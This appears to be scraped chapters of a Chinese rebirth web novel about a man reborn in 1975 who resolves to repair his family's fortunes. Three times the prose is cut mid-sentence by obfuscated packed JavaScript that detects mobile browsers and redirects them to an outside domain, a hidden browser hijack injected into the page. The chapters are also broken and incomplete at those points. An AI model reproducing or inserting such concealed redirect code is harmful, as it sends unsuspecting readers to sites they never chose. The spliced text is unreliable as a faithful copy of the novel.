《在70年代当乘务员》 1. 席于飞回来啦 席于飞躺在炕上,听着外面大嫂二嫂在说话,整个人都有点儿不好了。 他看看自己的手,再看看房间内的摆设,仿佛受到惊吓般的坐起身来! 自己不是已经肝癌晚期,在医院等死了吗? 怎么就突然…… 突然回到了小时候?? 他深吸几口气,慢慢的从炕上爬起来,小心翼翼贴近窗边。 “娘可真偏心啊,”说话的女人声音很温柔,但能听出来里面浓重的怨怼,“小飞在乡下,咱们知道他受苦了,每个月粮票钱票寄过去不说,又花了大几百买了个工作把他弄回来。如今他还不满意,娘……娘就让他这么闹?” “那有啥办法?谁让他是娘的心头肉。”另一个女人声音比较粗,悠悠的叹了口气,“乘务员怎么了?这可是正式工,别人想要还要不到呢。咱们好心好意勒紧裤腰带凑钱买的,结果……” “都是儿子,再说他也不是最小的那个,怎么娘就这么偏心!”温柔的女人重重的叹气,“看吧,等人醒了,指不定怎么闹腾呢。” 席于飞坐在炕上,终于整清楚现在是怎么个情况了。 他估计是死了,但死的不甘心,老天爷又重新让他回来了一趟。 一想到自己上辈子闹得那些事,席于飞就忍不住鼻子发酸,眼泪哗啦啦的往下掉。 上辈子,他是个被宠坏的小孩。 要说席家,这周围邻居谁不夸一声? 他们席家原本不是京城本地人,而是东北那边的。因为连年战乱,他爹那个曾经的学校校长干脆带着一家子还有二十多个学生南下,想要找一条活路。 他们先从东北奉城坐火车,坐到半道上被飞机轰炸,一群人连滚带爬的跑出车站,整理了行装继续南下。 一路上吃了无数的苦,原本是想要去沪市的,听说那边比较安全,但走到京城,原本小三十人都散的差不多了。 有的是死了,有的是走到半路干脆留了下来,有的是跟着部队走了。 小三十人,最后只剩下不到十个,其中还有他的哥哥姐姐。 最后,他爹拿了娘的嫁妆,趁着乱便宜的在京城买了个小院子,带着剩下的学生就这么住了下来。 一边住,一边还继续教书,甚至救了不少当兵的。 不大的院子当年住满了人,没两年解放了,住在家里的人才陆陆续续的离开。 因为有人在上面说得上话,给席家老爷子一顿表扬,最后问想要什么奖励,席老爷子没要金没要银,就只要了主席一幅字。 教书育人,积善人家。 也是没想到,这八个字,最后能救他们一家子人的命! 席于飞他爹席文明教了一辈子书,他娘也读过书,还当过护士。 席家祖上有双胞胎基因,估计就是这个原因,他娘曾柳华生了十一个孩子,其中四对儿双胞胎,都养活了。 曾柳华34那年生的席于飞,以为是个老儿子,就此封肚,然后对这个老儿子别提多宠爱了。 他大哥大姐比他大15岁,他出生没两年,大哥大姐相继结婚,侄子侄女比他小不了几岁。 哪怕后来他娘39岁高龄又怀孕了,生下一对儿龙凤胎。但毕竟岁数大了,这次生孩子差点儿要了命。两个弟弟妹妹是被大嫂和大姐奶大的,跟曾柳华没有那么亲。 导致曾柳华最宠爱的,仍旧是席于飞。 原本只是被宠爱的儿子而已,不过就是多吃几口好的,穿几件新衣服罢了。 家里哥哥姐姐也愿意宠着他,兄弟姐妹也多,用不着他干力气活。 但这个平衡,从72年那年,席于飞16岁的时候,被打破了。 国家从55年就提倡上山下乡,但都是自愿的。可从68年那场运动开始,就变成了强制。 每家必须出一个去相应这个政策。 开始强制的时候,席家到岁数的都结婚了,剩下的还小,没有那么急迫。 等他四哥五哥这对双胞胎到了岁数,又被征兵征走了。 原本曾柳华打算把自己的工作留给席于飞,这样他也可以不用去下乡。但还没到日子,曾柳华就满50岁,退休了。 又过了半年,席于飞到了16岁,家里都打算好给他找个工作了,但席家被人盯上,席老爷子这个教了一辈子书的先生被人举报了好几次,说他家里不响应政策,逃避下乡。 没办法,席于飞就是那么倒霉,只能背着铺盖卷下乡。 好处就是席老爷子东北老家的亲戚还在,让席于飞去了东北,至少有亲戚照顾,不会太吃苦。 席于飞在乡下呆了三年,这三年,曾柳华每每想起来就难过的要哭一顿。家里省吃俭用各种钱票粮食往东北寄,生怕心肝肉在乡下吃苦。 但无论怎么照顾,那也是大东北的农村,日子再好也比不上城里。 席于飞无数次写信哭着要回来,曾老太又让赚钱的儿子姑娘们凑钱,给他买了一份正式工,硬是把人调回来了。 但席于飞坏了性子,变成了个愤青。 家里给他找的这个工作其实很好,在火车上做乘务员,上班跟车走,包吃住。每次跟车回来都会有三天休息时间,而且发四季衣裳,各种劳保福利。 这真的是席家找到的最好的工作了。 可是愤青席于飞仍旧不满足,他觉得乘务员是伺候人的。自己在乡下受苦受累,回城了还要伺候人,等他户口落到城里之后,就跟家里大闹了一场。 其实那时候已经75年了,政策开始松动,77年回复高考,知青们逐渐返城,城里改革开放,日子一天比一天好过了。 但席于飞总觉得家里人看不起他,于是在某一天,他留下一封信,卷了自己的户口本和家里所有钱,跑去南方了。 这一走,就是二十年。 二十年,华国有了翻天覆地的变化。 衣锦还乡的席于飞开着小轿车回到了这个他出生的四合院,只是没想到一进门,就看见了父母的黑白照片。 那时候他才知道,自己走了,家里一团乱。 大哥因为出去找他,被劫道的砸断了腿。大嫂吓得流产,差点儿死在医院。 四哥五哥原本在部队有个好前程,领导都给说亲事了,但被母亲要死要活的喊回来,不得已退了伍,前途基本没了。 他母亲也在几年后病的没起来床,临死前还让哥哥姐姐们去找他。 父亲在母亲走后没多久,也跟着去了。 整个家,因为他,分崩离析。 后来,席于飞已经很有钱了。他一辈子没结婚,把赚的钱都分给兄弟姐妹,侄子侄女。可原本温馨的家和父母,多少钱都换不回来。 等他发现自己肝癌晚期的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679506|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,他的家人对他仍旧怨怼,都不太愿意去医院看他。 席于飞原本以为自己后悔也来不及了,谁知道一睁眼,老天爷竟然真的给了他机会! 重新回到19岁的席于飞用力一抹脸,他这辈子,就在家里,哪儿也不去! 上辈子自己死之前已经立了遗嘱,把自己的所有动产不动产还有他那个发家的综合市场都留给了侄子侄女,想必在那个世界,他们…… 他们也会原谅自己吧? 席于飞正要下炕,谁知道眼前一花,他发现自己现在站的地方,不是那个熟悉的房间了。 这里是…… 他惊讶的睁大双眼向四周看去,这里分明就是他的那个综合市场! 要说当年卷包会的席于飞也是有些赚钱的脑子的。 他偷了介绍信跑去南方,先是跟人偷摸的走私,转了第一桶金之后就在沿海买了不少破屋子,想着要拉一些兄弟一起干。 后来走私抓的严了,但又让他赶上了改革开放头一遭。 他买的那堆破房子也变得值了钱,于是他拿了这笔钱,带着几个兄弟,弄了个批发市场加农贸市场,还拉起了个车队。 站在改革的风口上,是头猪也能起飞了。 更何况他还不是猪,是个很会抓机遇的人! 从那之后,席于飞从一个走私小家电的,变成了个市场大老板,又盖了商场,赚了钱投了房地产。 95年,房地产开始抬头,简直就是在家躺着那钱就往自己手里钻。 就算成了大老板,他仍旧没有忘记自己发家的那个破市场,最后投资把市场做的规模更大,变成了一个远近闻名的综合性市场。 当然,后面就是他悔恨的几十年了,不提也罢。 总之,他没想到,这个综合市场,竟然跟着自己一起过来了。 也是他席于飞脑子灵活,这个综合市场被他规划成了三个部分,一个部分是农贸产品,一个部分是小商品批发,最后一部分他盖了个三层的商场,楼下还有个地下超市! 可以说里面吃穿住行应有尽有了。 席于飞用力揉了揉眼,发现自己眼睛没有花,他确实就站在自己的综合市场门口。 左边,是农贸产品,门口一排肉档,那肥嘟嘟的猪肉还挂在铁钩子上直晃悠呢。 右边,是批发市场,进门就是卖锅碗瓢盆的,一摞一摞崭新崭新。 再往前看,是他的那个三层加地下超市的商场,上面还挂着迎接十月一打折的横幅呢。 只是整个市场都静悄悄的,一个人没有,安静的仿佛闹了鬼。 席于飞吓得一哆嗦,想着要怎么出去呢,然后眼前一花,又回到了他的那个房间。 这真的是,这真的是…… 席于飞被这个巨大的惊喜砸的几乎透不过气来,好半天缓过神,扑到炕上就是一顿滚。 这是老天爷给他的补偿吗? 不不不,这是老天爷给他们一家子的补偿啊!! 有了这个市场,他们家就不用勒紧裤腰带过日子了! 他爸妈,他的兄弟姐妹,侄子侄女,想吃肉就吃肉,想吃大米饭就吃大米饭! 然后他们这个热热闹闹的一大家子,再也不会向上辈子那样,父母早逝,分崩离析! 想到这里,席于飞终于忍不住,嚎啕大哭起来。 2. 男人至死是少年 在院子里嘀嘀咕咕的妯娌俩被这响亮的哭声吓了一跳。 大嫂徐颖和二嫂周玲玲快步走到席于飞窗边,声音焦急,“小飞,小飞怎么了?做噩梦了??” 席于飞哭的不行,上辈子他以为自己功成名就,谁都会高看他一眼。可结果呢?却是害了自己的父母兄弟,到临死都悔恨不已。 他踉跄着打开房门,看见仍旧年轻漂亮的大嫂二嫂,哭的更厉害了,“大嫂,二嫂,呜呜呜呜,是我不好,都是我的错……” “哎呀,这孩子,这孩子怎么了?”周玲玲有些麻爪,抬手在席于飞背上拍了两下,“都从乡下回来了,以后有好日子过,别哭了啊。这是做噩梦了。” “我去倒杯水。”大嫂徐颖着急忙慌的往厨房走,片刻后端了一碗水过来,“喝点水,里面加了糖的。” 席于飞的眼泪停都停不下来,他接过水碗,扶了一下大嫂,又对二嫂道:“我,我是做了噩梦,我……” 心理年龄六十多的他,有些不好意思,但更多的是悲伤,以及能够从头再来弥补家里的欣喜。 吨吨吨的喝了水,席于飞刚要说什么,就听见大门打开的动静。他娘曾柳华拎着个篮子进来,身后还跟着他妹妹席云盈。 他的两个弟弟妹妹跟他差了五岁,14岁的席云盈瘦瘦的,刚初中毕业。 还有弟弟席云海,这个点儿不在家,估计是出去打零工了。 “哎哟,大宝,大宝你这是怎么了?”曾柳华看见自己最心爱的儿子在哭,心里直扑腾,立马对大嫂二嫂吊起眉毛,“你俩说啥了?给大宝气成这样?” 大嫂二嫂有些无语。 曾柳华这个人,其实一直都是个爽利人,聪明能干。再加上她以前是上过女子学校,学的护士,后来哪怕跟着席老爷子长途跋涉来到京城,也是去了卫生院当护士,有正事工作的。 就这么个聪明人,一遇到跟席于飞相关的事,那脑子里就是一滩糊涂酱子。 “娘,大嫂二嫂什么都没说,我就是做了噩梦,她们哄我来着。”席于飞自小被亲娘偏爱,自然知道自己的话在曾柳华心里是什么分量。 有的时候,他说一句,被兄弟嫂子们说十句都管用。 “我的儿,”曾柳华把篮子塞进席云盈手里,眼圈红着抱着她的心肝肉,“都是娘不好,都是娘没用,让你去乡下受了三年的苦。儿啊,以后咱再也不用去乡下了,娘买了肉,还买了鱼跟排骨。你不是最喜欢娘做的酸菜炖排骨吗?娘这就给你做!” 席家算是周围一片生活相当不错的,家里俩老的之前都有正式工作,席文明席老爷子还在一所中学当校长,现在还没正式退休呢,每个月能有八十块工资。 曾柳华是退休了,但她退休前是护士长,每个月工资五十八,退休之后还有退休金,也四十多块钱。再加上卫生院逢年过节还给退休的老员工送节礼,那是相当不错了。 他大哥席云峥在粮店工作,正式工,工资虽然只有三十五,但每个月能往家里拿不少粮袋子,或者一些卖相不好的豆子粗粮。 这年头可不要小看粮袋子,那都是纯棉布的好东西。不但自己家能装粮食或者别的,还能剪开来做衣裳穿,很多人家求都求不到。 二哥席云腾在煤场上班,工资比大哥高了十块钱,很是辛苦。但因为他的缘故,冬日里家里烧煤就没有发过愁。 三哥席云扬学习好,是高中毕业,在机械厂做会计。三嫂也是正式工,就在家附近的供销社,家里买点儿残次品之类的很方便。 四哥五哥去当了兵,席于飞是家里老六。 他因为生下来之后曾柳华觉得算是老儿子,跟席文明研究半个月,最终没有走云这个字,而是起名叫于飞。 这个名字来自于诗经大雅,凤凰于飞,翙翙其羽。意思是凤凰高飞,以后家里夫妻和乐。 这是作为父母对心爱的孩子最好的祝福,就是希望他平安长大,以后能够夫妻和乐。 家里大姐二姐三姐都嫁出去了,嫁的也都是正式工人,家里条件算是比较宽松的。 虽然大嫂二嫂没有工作,可家里也不少事,洗洗涮涮看孩子,例外都是活儿。而且她们俩现在都挺着大肚子怀孕了,每隔一天都能有个鸡蛋吃。 可要是说吃肉,那就难了。 席于飞从乡下回来已经75年了,肉票粮票还没取消,想要吃顿肉得去供销社抢。 也就是供销社有他三嫂,能帮忙挑了好的提前放起来,否则吃顿肉难死了。 大嫂二嫂虽然也馋肉,不过对这个六叔暂时没有太大的看法。 毕竟是婆婆最疼爱的儿子,没看家里最小的小叔子放假了还得出去打个零工赚零花钱吗?她们这个六叔,那养的真的是娇贵,以前十指不沾阳春水,油瓶倒了都不带服的。 谁能想得到这么娇养的一个男孩,竟然迫不得已下了乡,还在乡下呆了3年! 要知道,席于飞走的时候大包小包,穿着的确良衬衣,绿军裤,白球鞋。人也精精神神,皮肤白白净净的,像个大丫头。 可是回来呢? 整个人又黑又瘦,都嘬腮了! 要知道,他们每个月其实都会寄一些粮票肉票和钱过去,偶尔还能寄点儿粮食去。 但乡下日子不好过,有的时候闹灾,农村人为了交公粮都得勒紧裤腰带,每天能吃个水饱都算不错的了。 虽然那边有席老爷子老家人照顾,可是老家人也穷啊。 席于飞就算被娇养长大,可品性每问题。自己有了吃的,也会分出来给老家的弟弟妹妹和老人吃。 因为这,每年老家都会往城里寄不少山货,那玩意填不饱肚子,但在城里算是可以拿得出手送礼的好东西了。 只不过,品性再好,也抵不过一个愤青。 上辈子的愤青席于飞做了无法弥补的错事,这辈子,他必须要让家里人过上好日子。 席家虽然有个院子,但却是个小四合院。 正房三间,东厢房三间,西厢房三间,还有两间倒座房,两间耳房。 看着房子多,但架不住家里孩子多。 虽然三个姐姐已经出嫁,但三个哥哥结婚早,他大哥席云峥如今光儿子就有三个,还有个小闺女,大嫂肚子里还揣着一个。 二哥两个儿子一个闺女,其中还有一对儿龙凤胎。如今二嫂肚子里也揣着一个呢。 三哥是两个闺女一个儿子,俩闺女是双胞胎。而且三嫂也怀孕了。 他们家院子小,去掉房子,中间院子也就四五十平。可这在周围其他人眼里,是相当好的日子了。 毕竟这个年代,很多人都没有房子,住的都是厂子宿舍。很多都是三十来平米的屋子挤三代人,都快睡成叠罗汉了。 也正是因为这样,席家很招惹别人眼红。 68年闹得最厉害的时候被不少红眼病举报过,不过因为主席给写的字,避免了家破人亡的悲剧。 现在席于飞自己一个人住正房西屋,大哥二哥住东厢房,三哥住西厢房的北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“行了,别哭了!”还是曾柳华提气,她用力拍了拍六儿子的肩膀,“不管咋说,人都回来了,还流这个猫尿做什么?平白让我看着心疼。你躺着歇会儿,盈盈给你哥冲碗鸡蛋汤去。” 小姑娘清脆的哎了声,转头出去了。 “娘……”席于飞搂着他老娘胳膊哼哼唧唧。 要说如果六十多岁老头子做这样,简直能让人毛骨悚然。但他现在才十九岁,男人致死是少年,更别说他现在就是少年! 少年跟亲娘撒娇咋了? 他从小就会撒娇! 这辈子他好好养着自己老娘老爹,等到六十了他照样撒娇! 曾柳华被他整的又哭又笑,搡了儿子好几下,“行了,这成啥样子了?明天你就是正式工了,以后上班赚钱说媳妇,可不能跟媳妇这样哼唧。” “我不说媳妇儿!”席于飞终于不哼唧了。 上辈子他四十岁之前就绷着一股子气儿要赚钱,要让人高看一眼,压根想不到要找对象。等四十之后心成死灰,更不想找对象了。 活到六十多,硬是把自己过成了孤家寡人。 “孩子话!”曾柳华怜爱的看着自己最爱的儿子,“好了,你跟这儿歪着,娘给你做饭去。今天咱们吃大米干饭,酸菜炖猪肉,豆角炖排骨!娘再给你炒几个葱花鸡蛋……我的儿,真的是受了大苦了啊。” 3. 自私自利 这顿饭,除了外嫁的三个姐姐,以及两个当兵的哥哥,老的小的都聚齐了。 席文明和曾柳华相识于乱世,一路扶持走过来,哪怕是人到中年,仍旧恩爱。 家里人多孩子多,正房堂屋里摆了两张大桌子,都坐的满满腾腾的。 主桌上,席文明跟曾柳华坐主位,曾柳华下手坐着席于飞,然后是三个儿媳妇。席文明下手坐着三个儿子,九个大人围着一张圆桌。 另一张桌子则坐的都是孩子,辈分最大的是席于飞的弟弟妹妹,今年也不过刚十四岁,他大侄子席向东都十四岁了。 席于飞看见他爹又忍不住哭了一顿,到坐下来吃饭,眼皮子都红红肿肿的,看上去好不可怜。 原本对于这个六叔有点儿小怨言的仨嫂子看的都心软下来,实在是于心不忍。 好好的一个孩子去了乡下,哪怕家里月月寄钱票寄吃的,仍旧变得黑瘦黑瘦。回来的时候一身破旧衣裳,如今天气都冷了下来,脚上那双破棉鞋还露着大拇指。 三嫂于倩是个快言快语的,她看着小可怜似的六叔,忍不住问道:“那乡下粮食很贵?每个月二十块钱,竟然吃不饱吗?” 席家虽然有好几个拿工资的,但毕竟三个儿子都有了自己的小家,而且孙子孙女一大群。 席文明是绝不会让自己的后代当文盲的,无论如何都会让孩子们去上学,这就是一笔开销。 其实最大的开销就是一群孩子们的吃喝用度,因为没分家,各家每个月都会上交一半的工资,由曾柳华分配。 这些钱曾柳华会存下来一些,然后每个月寄二十块给席于飞。 当然,这是明面上的,私底下她也会偷摸的增加个十块八块,要知道二十多块钱相当于城里一个临时工的工资了,养活一个人吃喝绝对足够。 席于飞啃着排骨,听到这句话叹气摇头,“三嫂不知道,乡下日子苦。东北那嘎达半年都是冷的,粮食只能种一茬,更别说还得交公粮,一年到头要不是我大伯二伯家挖野菜上山打猎,真真是要把人饿死。再说了,我拿着粮食也不能自己一个人吃吧?就算不给大人,可是老人孩子呢?眼睁睁看着他们挨饿?” 那些年,乡下确实不好过。 先是大锅饭折腾的一溜够,然后又得交公粮,剩下那点儿粮食压根抗不过一年。等下了雪,家家户户都在家里猫冬,别说一日三餐了,一日能有一顿吃饱都算是好日子。 别说什么棒打狍子瓢舀鱼,老天不作美,树皮都给你刮干净吃了,还鱼呢,鱼屁都看不见。 他们那个大队靠着山,这都算好的了,毕竟山里也是有产出的。野菜,蘑菇,兔子山鸡之类。可是山上不止有这个啊,还有野狼熊瞎子跟野猪! 有一年熊瞎子和野猪不知道为什么下山,一宿愣是祸害了大半个村子,死伤无数。地里的粮食更是被祸害的一塌糊涂。 就算这样,也得交公粮。 “我还算好的呢,至少有亲戚帮衬,家里寄的钱都买了粮食,大伯娘算计着吃,顿顿也少不了我的。别人可就不会这样了,就我们大队的知青去山上捡柴火,冻死了俩,还有一个被野猪拱了,脸都烂了。村里的青壮到了冬天可以去林场挣工分,天天砍木头扛木头,压根吃不饱,但总比在家饿着强。” 席于飞可真的没说谎,都说什么下乡种地到处都是粮食能吃饱饭,如果真这样,为什么大家都不愿意下乡?为什么下了乡的知青天天盼着回城?撑不住的知青干脆嫁给村里的人,不就是为了有人能帮衬一下,不至于饿死累死冻死? 知青们本来就岁数小,正是能吃的时候,有的时候半夜饿的眼睛都绿了,偷摸跑牛棚吃那些给牛和骡子吃的饲料。 从到了乡下五谷不分,到能认识十多种野菜,恨不得把山里的东西都背回去,年纪轻轻累的腰都直不起来,只需要半年。 席于飞住在自己亲戚家,其实已经幸福多了。 要知道,知青在乡下是很不受欢迎的。因为村里人都觉得这是一群少爷少奶,还喜欢讲大道理,跟人梗脖子对着干。干活不咋地,吃饭没个够,吃不饱甚至还会想歪主意。 虽然大队长三令五申不让村里的人去招惹知青,但架不住知青有想法,也架不住那些二流子去骚扰女知青。 席于飞因为家里总是给寄钱寄粮食,也被人惦记过。但他家在村里有亲戚啊,堂哥堂弟一大群,几次试探后就没人找他麻烦了。 三嫂于倩听完,眼圈就红了,吧嗒吧嗒掉眼泪,“小六啊,嫂子我是真没想到乡下这么难。之前你总写信打电话要钱要粮食,嫂子我还抱怨呢。你可真的是受苦了,还好回来了,赶紧吃,吃肉,多吃点儿!” 说着,她就给席于飞夹了好几块大肥肉。 这可是好东西,如今谁家肚子里都没二两油水,肥肉买回去都要炼油慢慢吃,这种大片炖在酸菜里的肥肉,就连席家都有日子没吃到过了。 曾柳华也跟着哭,手绢都哭湿了半条。 席文明叹了口气,道:“不管咋样,咱们也回来了。回头我给老家那边多寄点东西和钱,那边也确实太苦了。大哥二哥从来都不跟我说这些,早知道这样辛苦,我就不要他们寄东西过来了。” 当年席家在奉城也算是个有名望的一家,后来乱世一起,席家就分了支。 席文明的几个叔伯都带着自家人到处谋生,有的去了南方,有的不知道去了哪里,听说还有人去了海外。 席文明这一支就他读过许多书,在城里教书,但大哥二哥他们都在乡下奉养老人。 等家里老人都走了,他带着妻子儿女和学生们长途跋涉南下求生计,跟乡下亲戚们关系也就淡了。 平日里也就年节写封信,寄点儿吃的用的。要不是席于飞被迫必须下乡,他跟老家的兄弟们也不会联系这么勤。 只是每次大哥二哥都报喜不报忧,再加上席于飞总写信要回来,抱怨乡下穷,他就真的觉得是大哥二哥占用了他给孩子的钱,但也没办法,可心里是有怨气的。 但儿子回来了,把那边的情况一说,这怨气也就散了。 “大伯二伯对我还是很好的,但架不住家里孩子多,也没有个工人挣工资,都是土里刨食。虽然我在那边有人帮衬,干的也都是轻松活儿,但架不住太穷了,太苦了。” 席于飞想起上辈子的自己,那时候他特别愤青,到家之后就把大伯二伯一顿埋汰,数落他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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别人都是报喜不报忧,只有他,总往最亲的人心里插刀子。 还好,老天爷给了他弥补的机会! 吃饱喝足,稍微休息一下,家里的工人还得去上班。 就连他弟弟跟大侄子,也要去图书馆那边帮忙,整理书架,图书分类,干一天能有五毛钱零花。 妹妹则在家里帮着大嫂二嫂和老娘洗洗涮涮,收拾东西,照顾小侄子和小侄女。 家里将近二十口人,每天要洗涮的东西,以及每顿饭之前的准备,那都不是小活儿。 以前孩子们都小,老娘还没退休,这些活儿都是大嫂二嫂在家里忙乎,哪怕怀孕了也没个休息时候。现在好歹妹妹跟老娘都能帮衬一把,算是可以透一口气了。 曾柳华可舍不得让刚从乡下回来的大宝儿子干这些活儿,她哄着让席于飞去休息,下午去粮站那边的澡堂子好好洗个澡,家里在给他准备一身干净利索的新衣裳,毕竟明天还得去单位报到呢。 席于飞进了自己屋,锁了门拉上窗帘,立刻就进了市场。 虽然不知道这个市场为什么会跟自己一起过来,但这些摊位可是他租出去给别人的,如今摊位和里面的东西也都跟着过来了,如果自己上辈子一死市场凭空消失,怕是得吓坏一群人。 只希望老天爷别这样做,毕竟租他摊位的都是普通商户。 但既然都跟着过来了,里面的东西不用的话,那真的是,能憋死他! 看着空无一人的市场,席于飞又害怕又兴奋。 他得好好想想,怎么利用这些东西,怎么把这些东西顺利出手。 4. 小鸡崽子 综合市场里面的东西虽然齐全,但对于七十年代来说,太新了。 这个时候,哪怕买一包烟都需要用烟票,而且这个年代的烟大多数都是没有过滤嘴的。可市场里的烟酒店铺,那都是新式儿的烟,一个没有过滤嘴的都没,更别说还有那种带花香味果香味的,带弹珠的。 还有那些衣服,哪怕是农贸市场散摊儿卖的衣裳,款式都比如今的鲜亮好看,材料更是如今都没有的。 目前能拿的出去的,只有农贸市场的干货鲜货蔬菜肉类米面粮油,那么问题来了,他要用什么借口把这些东西拿去给家里人用? 毕竟他从东北回来的时候,连个包袱都没带,还特地穿上破烂棉袄烂棉鞋,想要偷摸整点儿好东西蒙混过关都不行。 不过他毕竟做了几十年生意,壮着胆子在这里转了小半圈,心里就有了计较。 等出了市场,家里的女人已经开始忙乎着要做晚饭了。 大嫂二嫂毕竟大着肚子,曾柳华就让俩儿媳妇和面贴饼子,然后切点儿萝卜白菜炖菜吃,再煮一锅棒碴粥,晚上也就差不多了。 她则带着小闺女洗衣裳。 虽然现在也有洗衣机这种电器了,可是价格非常昂贵,还得用票。 就算有了票,也未必能抢得上! 老三媳妇儿就算在供销社上班都没办法帮忙弄这些,因为电视机洗衣机这样的家用电器,都放在大商场。 所以家里的衣服,目前还是用手洗。 家里人多,每天换洗的衣服就多。 老三做会计还好,但老大老二一个在粮站一个在煤站,一天下来衣服都没法看了。 还有家里那群小崽子们,不管早晨穿多干净的衣服,在胡同里摸爬打滚一天,到了晚上也不能要了,一个个跟泥猴子似的。 曾柳华毕竟是护士,在卫生院干了小半辈子,最最看不得脏。 全家人每天能换下来两大盆衣裳,不是儿媳妇洗就是她跟小闺女洗。 曾柳华虽然当了婆婆,但她从小接受的是新式观念,还读了女校,考了护士,那些糟粕思想基本没有。 估计人生唯一败笔就是太宠爱席于飞了,但凡对席于飞没有那么宠溺,那么她这个婆婆就是个完美的婆婆。 “娘,您歇着去,我跟小妹一起洗衣服!”席于飞看着老娘吭哧吭哧的搓衣裳,心里直发酸。 曾柳华毕竟岁数大了,每天一大盆衣服洗完,也累的不行。 见小儿子长了眼力价,老太太也没推脱,“行,你力气大,先搓一些出来,我给你们摆。” 摆衣裳是一句方言,意思就是把洗过一水的衣裳再度过水。 “嗨呀,您歇着去吧,”席于飞连拖带拽把曾柳华拽去一旁,自己坐小板凳上就着搓衣板搓衣裳,“闲不住就帮我跟小妹压盆水出来,或者去看看大嫂二嫂做饭。” 曾柳华欣慰的不行,觉得自己的心肝儿成熟了,长大了。以前他哪里洗过衣裳啊,连臭袜子都是当娘的给洗。 如今…… 这是受了苦了啊! 曾柳华眼圈又有点儿热,她揉了揉眼睛,“成,娘先帮你们压点儿水。” 当初买下这个小院子,其实就是看院子完整,而且手里的钱也不太够。最重要的是,院子里有一口压井。 那时候自来水还不普及呢,城里人吃水比较麻烦,要么去临近的河里或者井里打,要么就花钱去水站买。 现在倒是普及了自来水,不过家里人还是喜欢用压井。 可不要小瞧这口井,里面的水质相当不错,而且冬暖夏凉。 这天一冷,从井里压出来的水是暖的,洗衣服不冻手。等到了夏天,井里的水冰凉,镇个西瓜甜瓜别提多好用了。 “娘,咋不买个洗衣机啊?”席于飞一边搓衣服一边问。他手里这件是他二哥的,一攥一手黑,脏的要命。 曾柳华抿了抿唇,“咱家商场没人,抢不上。” 其实不是抢不上,是家里没钱了。 她的大宝在乡下受苦,曾柳华这个当妈的只要一想起来,心就直哆嗦,难受的透不过气。 可是人又不能刚下乡就弄个工作叫回来,那时候多乱啊,不少人盯着席家的院子,就想找点错处,把他们一家子都收拾了。 就这么忍了三年,政策开始松动了,甚至还有人平反回家,曾柳华就下了决心,必须要把儿子弄回来了。 想要儿子返城,一个临时工是不行的。因为临时工不能调户口,只有正式工才能把户口从乡下弄回城里。 这正式工是香饽饽,不是说想买就能买。 而且,正式工也都分各种工作,价格不一样。 若是扫大街看厕所这种,也有正式工,一份工作七八百就能买到手,一个月也有三十五块钱呢,且不要求技术。 可她总不能让儿子回来扫大街扫厕所去吧? 就算她愿意,儿子能愿意? 要不说她是当娘的,对席于飞相当了解了。 就这么找来找去,找到了火车站上一份工作,乘务员。 在火车站当乘务员,这可是一份求不得的好工作。且不说一年福利多,而且一年发四季八套衣裳,从头到脚,从里到外都有! 而且乘务员出车回来都有三天休息时间,虽然出车累,但比起别的工作一天休息都没有,真真是好得不得了了。 但这样的工作贵,这份工作还是席老爷子之前教的一个学生,如今去了火车站当副站长,听到消息之后特地给留出来的。 因为站里有个乘务员家里出了事,想要卖工作,要价两千五! 两千五啊,在平均工资二三十的世代,两千五都够买命了。就算这样,也会被人抢破头,砸锅卖铁都有人要。 席家虽然有工人,但家里人多,存款就只有五六百,为了给儿子买工作让他回来,曾柳华这个当婆婆的,厚着脸皮跟儿媳妇借钱,跟曾经的同事借钱,就这么凑了两千五,给儿子弄回来了。 只可惜上辈子的席于飞压根没能体会到父母的一番苦心,他满肚子愤慨,就觉得这份工作是伺候人的,还不如三哥那个机械厂的会计好呢。 当会计多美,每天在办公室喝茶看报纸,然后算算账,一个月玩着就过来了,一点儿都不辛苦。 但这辈子的席于飞已经长了脑子,其实他问出那句话之后,就想抽自己一嘴巴了。 “没事,娘。”席于飞连忙找补,“以后我认识的人多了,看看能不能有商场的关系。回头我每个月工资都上交,凑够钱搬个洗衣机回来,让您跟嫂子们和小妹都不用这么累了。” 曾柳华听到这番话,欣慰的要命。 要不说是她最宠爱的大宝呢,看看这嘴儿,多甜啊。 “成,以后就等着你的工资跟你的关系,咱们买洗衣机!” 大嫂二嫂在厨房也能听见这番话,二嫂撇撇嘴,小声对大嫂道:“您瞅瞅,咱这个六叔也太会来事儿了。要不是家里张罗着给他买工作,还能买不起一个洗衣机?” “小声点儿,”大嫂徐颖是农村人嫁到城里的,为人比较厚道,“老六也不容易,乡下……你知道我就是乡下出身,咱们京城周边还好点儿,东北那边,确实穷。” 二嫂周玲玲想起中午吃饭的时候席于飞说的那番话,也叹了口气,道:“不管咋说也回来了,可算让娘松口气。要说买个洗衣机也挺好,就是好几百块钱呢,娘跟我娘家借了三百块,也不知道什么时候能还。” “早晚能还,咱娘不是拉账的人。”徐颖看着自己跟妯娌和好的棒子面,“几点了?差不多可以贴了。再洗几个红薯糊上,要不不够吃。” 家里人多,壮劳力多,半大小子也多。 她大儿子小叔子正是半大小子吃穷老子的岁数,巴掌大的棒子面饼子往饱了吃一顿能吃六七个!若不糊点红薯,一家子都吃不饱。 她觉得席家这日子相当不错了,不管咋说,每顿饭是给吃饱了的。 